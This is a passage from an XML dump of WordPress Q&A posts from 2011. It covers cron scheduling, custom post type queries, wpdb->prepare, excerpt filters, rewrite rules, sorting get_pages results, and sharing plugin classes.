following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A common method is using wget to load&#xA;  wp-cron.php on a schedule. If your&#xA;  server is Linux- based, cron will&#xA;  already exist and can be scheduled&#xA;  using the crontab command. If your&#xA;  server is Windows-based, you can&#xA;  install wget and create a scheduled&#xA;  task to execute it. The wget command&#xA;  would work like this: wget&#xA;  &lt;a href=&quot;http://www.example.com/wp-cron.php&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/wp-cron.php&lt;/a&gt;&#xA;  When wget requests wp-cron.php&#xA;  WordPress looks for all scheduled cron&#xA;  jobs and executes as needed. Setting&#xA;  up true cron on your server will&#xA;  guarantee your cron jobs will run&#xA;  perfectly on schedule without missing&#xA;  a beat.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Along with this, you need to disable the default way of handling cron:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define(‘DISABLE_WP_CRON’, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another discussion of this can be found here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://caramboo.com/2010/03/wordpress-remote-cron-scheduling/&quot; rel=&quot;nofollow&quot;&gt;http://caramboo.com/2010/03/wordpress-remote-cron-scheduling/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-05-11T03:45:14.957" CommentCount="4" />
  <row Id="16919" PostTypeId="1" AcceptedAnswerId="16928" CreationDate="2011-05-11T03:56:54.707" Score="0" ViewCount="80" Body="&lt;p&gt;I used the Custom Post UI plugin to create a custom post type called 'business_sold'.  I assigned each custom post to one of six categories and an additional one called 'All'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used a standard WP widgetized menu to list the 'Business Sold' categories, but my custom posts are not called on a search of any category.  I can see that WP has recognized the category assignment.  Single-business_sold.php is working fine, but neither category-business_sold or archive-business_sold are working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot figure out what I'm doing wrong.  Can anyone help me please?&lt;/p&gt;&#xA;" OwnerUserId="5278" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-11T07:43:45.283" LastActivityDate="2011-05-11T07:49:51.987" Title="My custom posts that are assigned to categories, are not called on a category search using a Category Menu" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="16920" PostTypeId="2" ParentId="16913" CreationDate="2011-05-11T04:08:54.173" Score="1" ViewCount="" Body="&lt;p&gt;Chip's answer is great (and earned a +1), but just as an alternative as you are learning PHP, I prefer this style as it takes only a single line in the file that I will use and integrates better with the flow of the HTML.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(get_post_meta( $post-&amp;gt;ID, '_ct_text_4dc9e9f74d000', true )) : ?&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_post_meta( $post-&amp;gt;ID, '_ct_text_4dc9e9f74d000', true ); ?&amp;gt;&quot;&amp;gt;Go To Store!&amp;lt;/a&amp;gt;&amp;lt;?php else : ?&amp;gt;N/A&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, this is just a matter of preference and it might be helpful for you to see other ways to do the same thing.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-05-11T04:08:54.173" CommentCount="4" />
  <row Id="16921" PostTypeId="1" AcceptedAnswerId="16960" CreationDate="2011-05-11T04:38:47.500" Score="4" ViewCount="251" Body="&lt;p&gt;I'm using get_pages() function to get all subpages from a page like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$childrens = get_pages(array('child_of' =&amp;gt; 7, &#xA;                             'sort_column' =&amp;gt; 'post_date', &#xA;                             'sort_order' =&amp;gt; 'DESC', &#xA;                             'depth' =&amp;gt; -1));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is supossed to get me a list of all pages (no matter if direct children, children of children, etc) orderen by the date they were created, but instead its showing me the list of pages in a strange order, here's the output when I run a foreach on the $childrens array and output the post_date on each:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2011-05-10 15:37:03&#xA;2011-05-10 15:35:59&#xA;2011-05-10 15:01:18&#xA;2011-05-10 17:12:32&#xA;2011-05-10 15:00:47&#xA;2011-05-10 14:00:14&#xA;2011-05-11 04:19:08&#xA;2011-05-10 23:52:54&#xA;2011-05-10 15:20:12&#xA;2011-05-10 15:05:10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see they're not ordered by date descending, I tried using other options in the sort_column key but none seemed to e working correctly, does anyone know what could be wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3893" LastActivityDate="2011-05-11T17:22:18.547" Title="get_pages() not ordering as it should" Tags="&lt;3.1&gt;&lt;pages&gt;&lt;sort&gt;&lt;get-page&gt;" AnswerCount="4" />
  <row Id="16922" PostTypeId="1" AcceptedAnswerId="16976" CreationDate="2011-05-11T04:49:17.517" Score="0" ViewCount="96" Body="&lt;p&gt;I wish to create a podcast directory site.  For which, I'd like the users of my site to be able to upload audio files which are &quot;large&quot; (e.g: more then 2 or 8 MB), and to make that upload &quot;easily&quot; go to the correct field in a relevant plugin (such as &quot;podcasting&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions will be welcomed.&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2011-05-13T07:18:25.977" Title="Creating a podcast directory site - how to allow user to upload &quot;large&quot; files?" Tags="&lt;uploads&gt;&lt;user-access&gt;&lt;podcasting&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="16923" PostTypeId="1" CreationDate="2011-05-11T05:04:29.693" Score="3" ViewCount="109" Body="&lt;p&gt;By default it seems the editor inserts images using an absolute path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're developing a site in /staging/ and plan to move it later on. Is there a way to get relative paths on images to display properly in the editor? Maybe there's a function or snippet in the editor that resolves to the upload path or something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example, my images in my home page are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img class=&quot;alignnone size-full wp-image-21&quot; title=&quot;Authentic Chinese Food&quot; src=&quot;wp-content/uploads/2011/04/panel_authentic.jpg&quot; alt=&quot;Authentic Chinese Food&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which display fine on the page itself, but not in the editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;John.&lt;/p&gt;&#xA;" OwnerUserId="4916" LastActivityDate="2011-05-11T09:42:30.067" Title="Displaying images with relative paths in the editor" Tags="&lt;images&gt;&lt;pages&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="16924" PostTypeId="2" ParentId="8919" CreationDate="2011-05-11T06:45:24.380" Score="0" ViewCount="" Body="&lt;p&gt;Markzware has a stand-alone Mac app called &lt;a href=&quot;http://markzware.com/products/pagezephyr/&quot; rel=&quot;nofollow&quot;&gt;PageZephyr&lt;/a&gt; ($99) which will index all of your InDesign content and then allow you to export it to WordPress. It is only the text, although fully stylized, for image placement is not possible to be automated at this time, yet alone their x and y positioning on an often totally different sized pallet, so to speak.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a video demonstration on how InDesign to WordPress works with PageZephyr:&#xA;&lt;a href=&quot;http://www.youtube.com/watch?v=0O7B6Ppwrfk&quot; rel=&quot;nofollow&quot; title=&quot;InDesign to WordPress&quot;&gt;http://www.youtube.com/watch?v=0O7B6Ppwrfk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are any further ideas, please let us know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;David&#xA;Markzware&lt;/p&gt;&#xA;" OwnerUserId="5279" LastActivityDate="2011-05-11T06:45:24.380" CommentCount="2" />
  <row Id="16925" PostTypeId="1" AcceptedAnswerId="16926" CreationDate="2011-05-11T07:16:11.257" Score="0" ViewCount="158" Body="&lt;p&gt;I'm new to SQL and am wondering if I need to use &lt;code&gt;wpdb-&amp;gt;prepare&lt;/code&gt; for the following query to a table I've created&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;$tablename = $wpdb-&amp;gt;prefix . &quot;my_custom_table&quot;;&#xA;$sql = &quot;SELECT * FROM &quot; . $tablename . &quot; ORDER BY date_created DESC&quot;;&#xA;$resulst = $wpdb-&amp;gt;get_results( $sql , ARRAY_A );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do I need to use &lt;code&gt;prepare&lt;/code&gt; here? How would I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="3430" LastActivityDate="2011-05-11T07:43:00.683" Title="Should I use wpdb prepare?" Tags="&lt;plugin-development&gt;&lt;mysql&gt;&lt;wpdb&gt;" AnswerCount="1" />
  <row Id="16926" PostTypeId="2" ParentId="16925" CreationDate="2011-05-11T07:43:00.683" Score="1" ViewCount="" Body="&lt;p&gt;Its best practice to always use &lt;code&gt;prepare&lt;/code&gt; but the main use of it is to prevent against SQL injection attacks, and since there is no input from the users/visitors or they can't effect the query then that is not an issue in your current example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but like i said before its best practice to use it and once you start using it you never stop , so in your example you can use it like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;$tablename = $wpdb-&amp;gt;prefix . &quot;my_custom_table&quot;;&#xA;$sql = $wpdb-&amp;gt;prepare( &quot;SELECT * FROM %s ORDER BY date_created DESC&quot;,$tablename );&#xA;$resulst = $wpdb-&amp;gt;get_results( $sql , ARRAY_A );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to read more about how to use it head to &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wpdb_Class#Protect_Queries_Against_SQL_Injection_Attacks&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;the codex&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-11T07:43:00.683" CommentCount="3" />
  <row Id="16927" PostTypeId="1" CreationDate="2011-05-11T07:48:22.690" Score="0" ViewCount="273" Body="&lt;p&gt;Have a custom page template and trying to make the excerpt length dynamical depending on what page you are in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;function custom_excerpt_length($length){&#xA;    if (is_page(15)) {&#xA;    return 20;&#xA;    } else {&#xA;    return 150; &#xA;    }&#xA;}&#xA;add_filter ( 'excerpt_length', 'custom_excerpt_length');&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;cant get is_page to work from functions in my custom template page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i try &lt;code&gt;echo is_page(15);&lt;/code&gt; in the static custom template value is &lt;strong&gt;true&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i'am little confused. Is it possible to call &lt;code&gt;is_page()&lt;/code&gt; from &lt;em&gt;functions.php&lt;/em&gt; (WP 3.1.2)&lt;/p&gt;&#xA;" OwnerUserId="4190" LastActivityDate="2011-05-11T07:59:11.070" Title="Custom page template how to check is_page from functions.php?" Tags="&lt;functions&gt;&lt;page-template&gt;&lt;the-excerpt&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="16928" PostTypeId="2" ParentId="16919" CreationDate="2011-05-11T07:49:51.987" Score="1" ViewCount="" Body="&lt;p&gt;Category archive by default it search for posts and not your custom type, you need to tell WordPress to search for your custom type, paste this code in your theme's functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function cpt_Search_category_Filter($query) {&#xA;    $post_type = array('post','business_sold');&#xA;    if ($query-&amp;gt;is_search || $query-&amp;gt;is_category) {&#xA;        $query-&amp;gt;set('post_type', $post_type);&#xA;    };&#xA;    return $query;&#xA;};&#xA;&#xA;add_filter('pre_get_posts','cpt_Search_category_Filter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you should be fine.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-11T07:49:51.987" CommentCount="3" />
  <row Id="16929" PostTypeId="2" ParentId="16902" CreationDate="2011-05-11T07:58:10.403" Score="1" ViewCount="" Body="&lt;p&gt;You could create verbose page rules for each page that starts with &lt;code&gt;/type/&lt;/code&gt;, but you will also need to hook into page creating and stuff like that to keep it up-to-date. If you don't have that many extra pages, it might be easier to just force verbose page rules for &lt;em&gt;all&lt;/em&gt; pages, then WordPress will do this for you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpse16902_init' );&#xA;function wpse16902_init() {&#xA;    $GLOBALS['wp_rewrite']-&amp;gt;use_verbose_page_rules = true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only problem now is that the taxonomy rules are put even on top of that (since WP 3.1 I think). But with the correct hooks we can intercept the page rules and place them really at the top.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'page_rewrite_rules', 'wpse16902_collect_page_rewrite_rules' );&#xA;function wpse16902_collect_page_rewrite_rules( $page_rewrite_rules )&#xA;{&#xA;    $GLOBALS['wpse16902_page_rewrite_rules'] = $page_rewrite_rules;&#xA;    return array();&#xA;}&#xA;&#xA;add_filter( 'rewrite_rules_array', 'wspe16902_prepend_page_rewrite_rules' );&#xA;function wspe16902_prepend_page_rewrite_rules( $rewrite_rules )&#xA;{&#xA;    return $GLOBALS['wpse16902_page_rewrite_rules'] + $rewrite_rules;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is possible that the rewrite rules for the custom post type and the custom taxonomy collide with each other for the &lt;code&gt;/type/%freshness%/&lt;/code&gt; URLs. You want these to be a taxonomy archive, not a custom post type archive. If you have problems with this, reverse the order in which you register them: first the taxonomy, then the custom post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy(&#xA;    'freshness',&#xA;     array(), // Empty array, no post types linked&#xA;     array(&#xA;         'rewrite' =&amp;gt; array(&#xA;             'slug' =&amp;gt; 'type',&#xA;         )&#xA;     ),&#xA; );&#xA; register_post_type(&#xA;     'zombie',&#xA;     array(&#xA;         'rewrite' =&amp;gt; array(&#xA;             'slug' =&amp;gt; 'type/%freshness%',&#xA;         ),&#xA;         'taxonomies' =&amp;gt; array( 'freshness' ),&#xA;     ),&#xA; );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Extra notice: if your taxonomy URLs really start with &lt;code&gt;/type/&lt;/code&gt;, you might get into conflict with post format archives. &lt;code&gt;/type/aside/&lt;/code&gt; by default displays all posts of the &quot;Aside&quot; format. This answer assumes the zombie custom post type and taxonomy is just an example, and you use another URL format in your real problem.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-11T08:23:25.547" LastActivityDate="2011-05-11T08:23:25.547" />
  <row Id="16930" PostTypeId="2" ParentId="16927" CreationDate="2011-05-11T07:59:11.070" Score="1" ViewCount="" Body="&lt;p&gt;Using &lt;code&gt;is_page()&lt;/code&gt; inside functions.php is fine, possible and working, and if you are echoing &lt;code&gt;is_page(15)&lt;/code&gt; and getting  true, that means you are on a page with the ID of 15.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the problem could be the priority parameter of the add_filter call, form the codex:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Make sure to set the priority&#xA;  correctly, else the default WordPress&#xA;  filter on this function will run last&#xA;  and override what you set here.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;so change your code to :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter ( 'excerpt_length', 'custom_excerpt_length',999);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-11T07:59:11.070" CommentCount="4" />
  <row Id="16932" PostTypeId="2" ParentId="11658" CreationDate="2011-05-11T09:24:04.853" Score="1" ViewCount="" Body="&lt;p&gt;It seems Contact Form 7 allows you to &lt;a href=&quot;http://contactform7.com/blog/2009/11/26/selectable-recipient-with-pipes/&quot; rel=&quot;nofollow&quot;&gt;specify the recipient via a select dropdown&lt;/a&gt;. This means that the recipient e-mail address is stored in the form and sent to the server, which then just reads it. Unless the server then verifies the recipient address was one of the options you specified, this can be a &quot;security hole&quot; to send spam to other e-mail addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would work like this: the server is prepared to read the &lt;code&gt;recipient&lt;/code&gt; select field, in case you specified one. But even if you did not specify one, the spambot can send a &lt;code&gt;recipient&lt;/code&gt; field value to the server, tricking it into thinking it came from a real HTML dropdown. This allows it to specify any value it wants there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible that Contact Form 7 prevents this kind of attack, but you should check this yourself, I have no further experience with Contact Form 7.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-11T09:24:04.853" CommentCount="1" />
  <row Id="16933" PostTypeId="2" ParentId="16923" CreationDate="2011-05-11T09:42:30.067" Score="3" ViewCount="" Body="&lt;p&gt;I had a client ask for that and it took a little while to get it but its simple: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function change_mce_path_options( $init ) {&#xA; $init['relative_urls'] = true;&#xA; $init['document_base_url'] = get_bloginfo('url');&#xA; return $init;&#xA;}&#xA;add_filter('tiny_mce_before_init', 'change_mce_path_options');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-11T09:42:30.067" CommentCount="6" />
  <row Id="16934" PostTypeId="1" AcceptedAnswerId="16936" CreationDate="2011-05-11T09:49:14.413" Score="0" ViewCount="101" Body="&lt;p&gt;I have an two wordpress sites that I would like to host on the same domain. One is already up and running, the other is sitting in waiting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I get the second as a subdomain, or simple within a folder, to run on the same domain (different DB) without converting to multisite?&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-05-11T12:55:15.587" Title="Can I run a second wordpress site as a subdomain without using multisite?" Tags="&lt;multisite&gt;" AnswerCount="1" />
  <row Id="16935" PostTypeId="2" ParentId="16921" CreationDate="2011-05-11T10:07:00.823" Score="2" ViewCount="" Body="&lt;p&gt;This is indeed an error, and probably caused by the &lt;code&gt;child_of&lt;/code&gt; argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because &lt;code&gt;child_of&lt;/code&gt; requests the whole subtree of the given page (not only the direct children, but also children of those children and so on), WordPress first queries for all the pages and &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-includes/post.php#L3441&quot; rel=&quot;nofollow&quot;&gt;then selects a subset of those pages&lt;/a&gt;. The first query respects the order, but &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-includes/post.php#L3187&quot; rel=&quot;nofollow&quot;&gt;the second subselection messes this up by just using &lt;code&gt;array_merge()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have &lt;a href=&quot;http://core.trac.wordpress.org/ticket/17374&quot; rel=&quot;nofollow&quot;&gt;created a Trac ticket for this&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-11T10:07:00.823" CommentCount="2" />
  <row Id="16936" PostTypeId="2" ParentId="16934" CreationDate="2011-05-11T10:07:26.953" Score="3" ViewCount="" Body="&lt;p&gt;Point the subdomain to the same directory as the main site, and define different settings in your &lt;strong&gt;wp-config.php&lt;/strong&gt; per &lt;code&gt;$_SERVER['HTTP_HOST']&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example from my local setup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;switch ( $_SERVER['HTTP_HOST'] )&#xA;{&#xA;    case 'zzl.dev':&#xA;        $table_prefix = 'zzl_';&#xA;        $table_name   = 'zzl';&#xA;        break;&#xA;&#xA;    case 'wpbuch.dev':&#xA;        $table_prefix = 'wpbuch_';&#xA;        $table_name   = 'wpbuch';&#xA;        break;&#xA;&#xA;    default:&#xA;        $table_prefix  = 'wp_';&#xA;        $table_name   = 'wpdev';&#xA;        break;&#xA;}&#xA;&#xA;define( 'DB_NAME', $table_name );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can change much more variables in the switch: all &lt;code&gt;DB_*&lt;/code&gt; definitions, &lt;code&gt;WP_PLUGIN_DIR&lt;/code&gt; and &lt;code&gt;WP_PLUGIN_URL&lt;/code&gt; (to share the plugin list between different sites), &lt;code&gt;WPLANG&lt;/code&gt; and so on.&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-05-11T10:34:01.923" LastActivityDate="2011-05-11T10:34:01.923" CommentCount="8" />
  <row Id="16937" PostTypeId="2" ParentId="16921" CreationDate="2011-05-11T10:07:36.743" Score="2" ViewCount="" Body="&lt;p&gt;Some sidenotes while searching for a solution: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Reading through &lt;a href=&quot;http://core.trac.wordpress.org/ticket/12821&quot; rel=&quot;nofollow&quot;&gt;this ticket at &lt;em&gt;trac&lt;/em&gt;&lt;/a&gt;, the arguments will change with a coming version to align with the &lt;code&gt;get_posts()&lt;/code&gt; arguments.&lt;/li&gt;&#xA;&lt;li&gt;You can find the function at /core-root/wp-includes/post.php line 3.284&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Are you sure, you're not using &lt;code&gt;'include'&lt;/code&gt; as argument? This sets &lt;code&gt;'child_of'&lt;/code&gt; to zero.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Try this and tell me about the result you get. Maybe you can re-order them there until you got a satisfying solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse16921_get_pages( $pages, $r )&#xA;{&#xA;    echo '&amp;lt;pre&amp;gt;'; print_r($pages); echo '&amp;lt;/pre&amp;gt;';&#xA;}&#xA;add_filter( 'get_pages', 'wpse16921_get_pages' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Edit&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Here you got a set of functions that help you working around until the patch has gone into a wp release:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// First: Loop through your pages inside the filter&#xA;function wpse16921_get_pages_filter( $pages, $r )&#xA;{&#xA;    # echo '&amp;lt;pre&amp;gt;'; &#xA;        foreach ( $pages as $page )&#xA;        {&#xA;            $page = (array) $page;&#xA;            $pages_temp[$page['post_date']] = $page;&#xA;        } &#xA;        # echo 'Before manipulation: '; print_r($pages_temp);&#xA;        $pages_temp = '/* handle sorting of your new date keys over here */';&#xA;        # echo 'After manipulation: '; print_r($pages_temp);&#xA;    # echo '&amp;lt;/pre&amp;gt;';&#xA;&#xA;    return $pages = $pages_temp;&#xA;}&#xA;&#xA;// Second: Attach the filter to the appropriate hook&#xA;function wpse16921_get_pages_filter_hook()&#xA;{&#xA;    add_filter( 'get_pages', 'wpse16921_get_pages_filter', 10, 2 );&#xA;}&#xA;add_action( 'after_setup_theme', 'wpse16921_get_pages_filter_hook', 0 );&#xA;&#xA;// Call your pages&#xA;function wpse16921_get_pages_call() &#xA;{&#xA;    $pages = get_pages();&#xA;&#xA;    # &amp;gt;&amp;gt;&amp;gt;&amp;gt; start modifying/preparing the output&#xA;    echo '&amp;lt;pre&amp;gt;'; &#xA;        foreach ( $pages as $date =&amp;gt; $page )&#xA;            echo $date.'&amp;lt;br /&amp;gt;';     &#xA;    echo '&amp;lt;/pre&amp;gt;';&#xA;    # &amp;lt;&amp;lt;&amp;lt;&amp;lt; end modifying/preparing the output&#xA;} &#xA;add_action( 'after_setup_theme', 'wpse16921_get_pages_call' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-11T17:22:18.547" LastActivityDate="2011-05-11T17:22:18.547" CommentCount="3" />
  <row Id="16938" PostTypeId="2" ParentId="16921" CreationDate="2011-05-11T10:13:20.170" Score="2" ViewCount="" Body="&lt;p&gt;Im not sure how to remedy the problem with WordPress - im getting the same results as you are, but this can be achieved using the PHP functions &lt;code&gt;sort()&lt;/code&gt; and &lt;code&gt;rsort()&lt;/code&gt; and a little bit of dirty work using &lt;code&gt;foreach&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;rsort()&lt;/code&gt; would sort an array in reverse order and &lt;code&gt;sort()&lt;/code&gt; from lowest to highest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    $children = get_pages( array( 'child_of' =&amp;gt; 7 ) );&#xA;&#xA;    foreach ( $children as $child ) {&#xA;        // get post date of each page/child&#xA;        $post_date = $child-&amp;gt;post_date;&#xA;        // populate the array with the post dates&#xA;        $dates[] = $post_date;&#xA;&#xA;    }&#xA;&#xA;    // Sort the array in reverse order&#xA;    rsort( $dates ); // or sort( $dates ) for the lowest to highest&#xA;&#xA;    foreach ( $dates as $date ) {&#xA;&#xA;        echo $date;&#xA;        echo '&amp;lt;br /&amp;gt;';&#xA;&#xA;   }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5018" LastEditorUserId="5018" LastEditorDisplayName="" LastEditDate="2011-05-11T11:07:04.190" LastActivityDate="2011-05-11T11:07:04.190" CommentCount="4" />
  <row Id="16939" PostTypeId="1" AcceptedAnswerId="16941" CreationDate="2011-05-11T10:29:39.697" Score="2" ViewCount="91" Body="&lt;p&gt;I made a WordPress plugin like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Class MY_CLASS {&#xA;//codes&#xA;}&#xA;Global $myclass;&#xA;$myclass = New MY_CLASS ();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After installed and activated the plugin, can I use this class in other plugins without including the myclass.php file? For example, in another plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Global $myclass;&#xA;$myclass-&amp;gt;a = 'dog';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5210" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-05-11T10:51:57.010" LastActivityDate="2011-05-11T10:51:57.010" Title="Does an activated plugin automatically mean its methods are available to other WP functions?" Tags="&lt;php&gt;&lt;add-action&gt;&lt;oop&gt;&lt;global&gt;" AnswerCount="2" />
  <row Id="16940" PostTypeId="2" ParentId="16939" CreationDate="2011-05-11T10:47:31.833" Score="2" ViewCount="" Body="&lt;p&gt;Only the main plugin file will be included automatically. So if your plugin is structured like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;wp-content/plugins/my-plugin/&lt;/code&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;my-plugin.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;my-class.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Only &lt;code&gt;my-plugin.php&lt;/code&gt; will be included by WordPress. You can make sure that &lt;code&gt;MyClass&lt;/code&gt; is available to others by including &lt;code&gt;my-class.php&lt;/code&gt; from your &lt;code&gt;my-plugin.php&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-11T10:47:31.833" />
  <row Id="16941" PostTypeId="2" ParentId="16939" CreationDate="2011-05-11T10:47:34.907" Score="5" ViewCount="" Body="&lt;p&gt;Technically, it is possible. But I would use a slightly different approach. If your second plugin is loaded first you get an error. If you want to replace the class in another plugin, it is hard to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So hook into &lt;code&gt;plugins_loaded&lt;/code&gt; with a specific priority to create the object and use the object in your second plugin on the same hook with a lower (later) priority:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Plugin 1&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'plugins_loaded', array ( 'My_Class', 'init' ), 10 );&#xA;&#xA;class My_Class&#xA;{&#xA;    /**&#xA;     * Handler for the action 'init'. Instantiates this class.&#xA;     *&#xA;     * @since 0.1&#xA;     * @return void&#xA;     */&#xA;    public static function init()&#xA;    